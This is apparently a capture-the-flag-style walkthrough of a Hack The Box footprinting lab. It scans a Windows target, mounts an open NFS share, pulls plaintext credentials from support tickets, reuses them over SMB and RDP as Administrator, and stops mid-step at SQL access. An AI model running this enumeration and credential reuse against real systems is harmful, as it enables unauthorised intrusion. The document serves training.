# Footprinting Lab - Medium
nmap -T4 ip_address {% code overflow="wrap" %} ```bash ┌─[root@parrot]─[/home/z3tssu] └──╼ #nmap -A 10.129.216.199 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 20:34 +04 Nmap scan report for 10.129.216.199 Host is up (0.30s latency). Not shown: 994 closed tcp ports (reset) PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open nlockmgr 1-4 (RPC #100021) 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2025-03-12T16:37:33+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=WINMEDIUM | Not valid before: 2025-03-11T15:21:44 |_Not valid after: 2025-09-10T15:21:44 | rdp-ntlm-info: | Target_Name: WINMEDIUM | NetBIOS_Domain_Name: WINMEDIUM | NetBIOS_Computer_Name: WINMEDIUM | DNS_Domain_Name: WINMEDIUM | DNS_Computer_Name: WINMEDIUM | Product_Version: 10.0.17763 |_ System_Time: 2025-03-12T16:37:22+00:00 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=3/12%OT=111%CT=1%CU=32573%PV=Y%DS=2%DC=T%G=Y%TM=67D OS:1B85C%P=x86_64-pc-linux-gnu)SEQ(TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD= OS:1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%ISR=10C%TI=I%CI=RD%I OS:I=I%SS=S%TS=U)SEQ(SP=103%GCD=2%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M OS:53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNN OS:S)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80% OS:W=FFFF%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R= OS:Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=A OS:R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=8 OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0% OS:Q=)T6(R=Y%DF=Y%T=80%W=0%S=O%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z% OS:A=O%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y OS:%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T OS:=80%CD=Z) Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2025-03-12T16:37:25 |_ start_date: N/A TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 307.88 ms 10.10.14.1 2 315.47 ms 10.129.216.199 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 223.93 seconds ``` {% endcode %}
nmap NFS Scan [Port 111, 2049] {% code overflow="wrap" %} ```bash ┌─[✗]─[root@parrot]─[/home/z3tssu] └──╼ #nmap 10.129.216.199 -p111,2049 --script nfs* -sV Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 21:14 +04 Nmap scan report for 10.129.216.199 Host is up (0.33s latency). PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status | nfs-ls: Volume /TechSupport | access: Read Lookup NoModify NoExtend NoDelete NoExecute | PERMISSION UID GID SIZE TIME FILENAME | rwx------ 4294967294 4294967294 65536 2021-11-11T00:09:49 . | ?????????? ? ? ? ? .. | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:28 ticket4238791283649.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:28 ticket4238791283650.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:28 ticket4238791283651.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:28 ticket4238791283652.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:28 ticket4238791283653.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:28 ticket4238791283654.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:29 ticket4238791283655.txt | rwx------ 4294967294 4294967294 0 2021-11-10T15:19:29 ticket4238791283656.txt |_ | nfs-statfs: | Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink |_ /TechSupport 25468924.0 15097472.0 10371452.0 60% 16.0T 1023 | nfs-showmount: |_ /TechSupport 2049/tcp open nlockmgr 1-4 (RPC #100021) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 132.62 seconds ``` {% endcode %}
Show available mountable shares ```bash ┌─[root@parrot]─[/home/z3tssu] └──╼ #showmount -e 10.129.216.199 Export list for 10.129.216.199: /TechSupport (everyone) ┌─[root@parrot]─[/home/z3tssu] ```
Mouting the Share ```bash z3tssu@htb[/htb]$ mkdir target-NFS z3tssu@htb[/htb]$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock z3tssu@htb[/htb]$ cd target-NFS z3tssu@htb[/htb]$ tree . ```
Viewing the contents and getting username and password ```bash ┌─[root@parrot]─[/home/z3tssu/HTB/footprint/medium/Tech/TechSupport] └──╼ #cat ticket4238791283782.txt Conversation with InlaneFreight Ltd Started on November 10, 2021 at 01:27 PM London time GMT (GMT+0200) --- 01:27 PM | Operator: Hello,. So what brings you here today? 01:27 PM | alex: hello 01:27 PM | Operator: Hey alex! 01:27 PM | Operator: What do you need help with? 01:36 PM | alex: I run into an issue with the web config file on the system for the smtp server. do you mind to take a look at the config? 01:38 PM | Operator: Of course 01:42 PM | alex: here it is: 1smtp { 2 host=smtp.web.dev.inlanefreight.htb 3 #port=25 4 ssl=true 5 user="alex" 6 password="lol123!mD" 7 from="alex.g@web.dev.inlanefreight.htb" 8} 9 10securesocial { 11 12 onLoginGoTo=/ 13 onLogoutGoTo=/login 14 ssl=false 15 16 userpass { 17 withUserNameSupport=false 18 sendWelcomeEmail=true 19 enableGravatarSupport=true 20 signupSkipLogin=true 21 tokenDuration=60 22 tokenDeleteInterval=5 23 minimumPasswordLength=8 24 enableTokenJob=true 25 hasher=bcrypt 26 } 27 28 cookie { 29 # name=id 30 # path=/login 31 # domain="10.129.2.59:9500" 32 httpOnly=true 33 makeTransient=false 34 absoluteTimeoutInMinutes=1440 35 idleTimeoutInMinutes=1440 36 } --- ┌─[root@parrot]─[/home/z3tssu/HTB/footprint/medium/Tech/TechSupport] └──╼ # ```
Smbclient with found credentials ```bash ┌─[root@parrot]─[/home/z3tssu/HTB/footprint/medium] └──╼ #smbclient -U alex -L \\10.129.216.199 Password for [WORKGROUP\alex]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share devshare Disk IPC$ IPC Remote IPC Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.216.199 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ```
Accesing File Share and Getting Credentials for RDP Access ```bash ┌─[✗]─[root@parrot]─[/home/z3tssu/HTB/footprint/medium] └──╼ #smbclient -U alex \\\\10.129.216.199\\devshare Password for [WORKGROUP\alex]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Nov 10 20:12:22 2021 .. D 0 Wed Nov 10 20:12:22 2021 important.txt A 16 Wed Nov 10 20:12:55 2021 6367231 blocks of size 4096. 2592479 blocks available smb: \> ``` ```bash ┌─[z3tssu@parrot]─[~/HTB/footprint/medium] └──╼ $cat important.txt sa:87N1ns@slls83 ```
## Remote Accessing Windows with RDP using found Credentials
Command to RDP from Linux to Windows ```bash xfreerdp /u:Administrator /p:"87N1ns@slls83" /v:10.129.216.199 ```
Since Xfreerdp was not working I used reminna on ParrotOS 1. Open Remmina 2. Enter the IP address 3. Enter the username and Password 4. and Boom You should have RDP Access
## Accessing SQL Management Studio 1. Once you have access SQL Studio, you need to perform a query on the database to find the User HTB 2.